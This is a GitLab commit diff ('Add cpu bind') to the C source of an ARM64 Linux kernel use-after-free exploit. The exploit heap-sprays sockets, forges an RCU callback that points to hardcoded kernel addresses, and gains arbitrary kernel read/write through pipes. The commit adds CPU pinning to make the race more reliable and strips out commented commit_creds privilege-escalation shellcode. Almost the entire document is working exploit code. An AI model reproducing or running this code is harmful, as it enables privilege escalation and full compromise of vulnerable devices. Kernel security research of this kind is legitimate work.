Skip to content
Snippets Groups Projects
Commit 07ffb6d1 authored by Werner Sembach's avatar Werner Sembach
Browse files

Add cpu bind

parent 484469e6
No related branches found
No related tags found
No related merge requests found
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <sys/select.h> #include <sys/select.h>
...@@ -20,7 +23,8 @@ ...@@ -20,7 +23,8 @@
#define SPRAY_SIZE 250 #define SPRAY_SIZE 250
#define KERNEL_SOCK_IOCTL 0xffffffc00050f518; #define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; //alternatively 0xffffffc00050f550 #define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550;
/*(gdb) disassemble /s kernel_sock_ioctl /*(gdb) disassemble /s kernel_sock_ioctl
Dump of assembler code for function kernel_sock_ioctl: Dump of assembler code for function kernel_sock_ioctl:
./arch/arm64/include/asm/thread_info.h: ./arch/arm64/include/asm/thread_info.h:
...@@ -60,7 +64,8 @@ volatile int server_finish = 0; ...@@ -60,7 +64,8 @@ volatile int server_finish = 0;
volatile int client_finish = 0; volatile int client_finish = 0;
volatile int set_fake_next_rcu_init = 0; volatile int set_fake_next_rcu_init = 0;
volatile int set_fake_next_rcu_finish = 0; volatile int set_fake_next_rcu_finish = 0;
//volatile int shellcode_return = 0; volatile int cpuid = 0;
cpu_set_t mask;
int sockfd[SPRAY_SIZE]; int sockfd[SPRAY_SIZE];
char *fake_next_rcu_memory; char *fake_next_rcu_memory;
...@@ -123,27 +128,27 @@ struct proto_ops { ...@@ -123,27 +128,27 @@ struct proto_ops {
volatile struct ip_mc_socklist *fake_next_rcu; volatile struct ip_mc_socklist *fake_next_rcu;
/*int (*printk)(const char *, ...) = (int (*)(const char *, ...))0xffffffc000141abc; void bind_on_cpu(int cpuid) {
int (*commit_creds)(void *) = (int (*)(void *))0xffffffc0000d1310; int i, now_cpuid = -1;
void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffc0000d1888; cpu_set_t get;
CPU_ZERO(&mask);
void shellcode(void *tmp) { CPU_SET(cpuid, &mask);
printk("Shellcode executing\n");
commit_creds(prepare_kernel_cred(NULL)); while (cpuid != now_cpuid) {
sched_setaffinity(0, sizeof(mask), &mask);
now_cpuid = sched_getcpu();
}
shellcode_return = 1337;
return; return;
}*/ }
void *set_fake_next_rcu() { void *set_fake_next_rcu() {
//printf("[set_fake_next_rcu] shellcode address: 0x%016x\n", (uint64_t)&shellcode); bind_on_cpu(cpuid);
printf("0x%02x 0x%02x\n", sizeof(struct socket), sizeof(struct proto_ops)); // that is a little bit more space then needed to be on the safe side
// fake_next_rcu and fake_socket overlap by 16 bytes and the start
fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); // that is a little bit more space then needed to be on the safe side // offset is a max of 0xff and not 0x100
// fake_next_rcu and fake_socket overlap by 16 bytes and the start fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100);
// offset is a max of 0xff and not 0x100
fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff); fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);
struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu); struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket)); fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
...@@ -152,7 +157,6 @@ void *set_fake_next_rcu() { ...@@ -152,7 +157,6 @@ void *set_fake_next_rcu() {
set_fake_next_rcu_init = 1; set_fake_next_rcu_init = 1;
while(!server_finish) { while(!server_finish) {
//fake_next_rcu->rcu.func = (void (*))&shellcode;
fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL; fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
} }
...@@ -167,16 +171,22 @@ int read_at_address_pipe(void *address, void *buf, size_t len) { ...@@ -167,16 +171,22 @@ int read_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1; int ret = 1;
int pipes[2]; int pipes[2];
if (pipe(pipes)) if (pipe(pipes)) {
perror("read_at_address_pipe pipe failed");
return 1; return 1;
}
if (write(pipes[1], address, len) != len) if (write(pipes[1], address, len) == -1) {
perror("read_at_address_pipe write failed");
goto end; goto end;
if (read(pipes[0], buf, len) != len) }
if (read(pipes[0], buf, len) == -1) {
perror("read_at_address_pipe read failed");
goto end; goto end;
}
ret = 0; ret = 0;
end: end:
close(pipes[1]); close(pipes[1]);
close(pipes[0]); close(pipes[0]);
return ret; return ret;
...@@ -186,16 +196,22 @@ int write_at_address_pipe(void *address, void *buf, size_t len) { ...@@ -186,16 +196,22 @@ int write_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1; int ret = 1;
int pipes[2]; int pipes[2];
if (pipe(pipes)) if (pipe(pipes)) {
perror("write_at_address_pipe pipe failed");
return 1; return 1;
}
if (write(pipes[1], buf, len) != len) if (write(pipes[1], buf, len) != len) {
perror("write_at_address_pipe write failed");
goto end; goto end;
if (read(pipes[0], address, len) != len) }
if (read(pipes[0], address, len) != len) {
perror("write_at_address_pipe read failed");
goto end; goto end;
}
ret = 0; ret = 0;
end: end:
close(pipes[1]); close(pipes[1]);
close(pipes[0]); close(pipes[0]);
return ret; return ret;
...@@ -253,6 +269,8 @@ void heap_spray_finalize() { ...@@ -253,6 +269,8 @@ void heap_spray_finalize() {
} }
void *server(void *arg) { void *server(void *arg) {
bind_on_cpu(cpuid);
struct sockaddr_in server_addr; struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr)); bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET; server_addr.sin_family = AF_INET;
...@@ -307,15 +325,11 @@ void *server(void *arg) { ...@@ -307,15 +325,11 @@ void *server(void *arg) {
printf("[Server] Close server_socket\n"); printf("[Server] Close server_socket\n");
close(server_socket); close(server_socket);
//sleep(5);
//printf("[Server] Shellcode return: %d\n", shellcode_return);
printf("Exploit complete, let's try arbitrary write.\n"); printf("Exploit complete, let's try arbitrary write.\n");
char tester[8] = {}; char tester[8] = {0};
if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) { while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) {
perror("Turn UAF to arbitrary read/write failed"); printf("AAA\n");
//while(1) {} sleep(1);
} }
printf("Turn UAF to arbitrary read/write succeeded.\n"); printf("Turn UAF to arbitrary read/write succeeded.\n");
...@@ -324,6 +338,8 @@ void *server(void *arg) { ...@@ -324,6 +338,8 @@ void *server(void *arg) {
} }
void *client(void *arg) { void *client(void *arg) {
bind_on_cpu(cpuid);
struct sockaddr_in client_addr; struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr)); bzero(&client_addr, sizeof(client_addr));
client_addr.sin_family = AF_INET; client_addr.sin_family = AF_INET;
...@@ -368,6 +384,9 @@ void *client(void *arg) { ...@@ -368,6 +384,9 @@ void *client(void *arg) {
} }
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
cpuid = sched_getcpu();
bind_on_cpu(cpuid);
heap_spray_init(); heap_spray_init();
pthread_t id_server, id_client, id_set_fake_next_rcu; pthread_t id_server, id_client, id_set_fake_next_rcu;
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment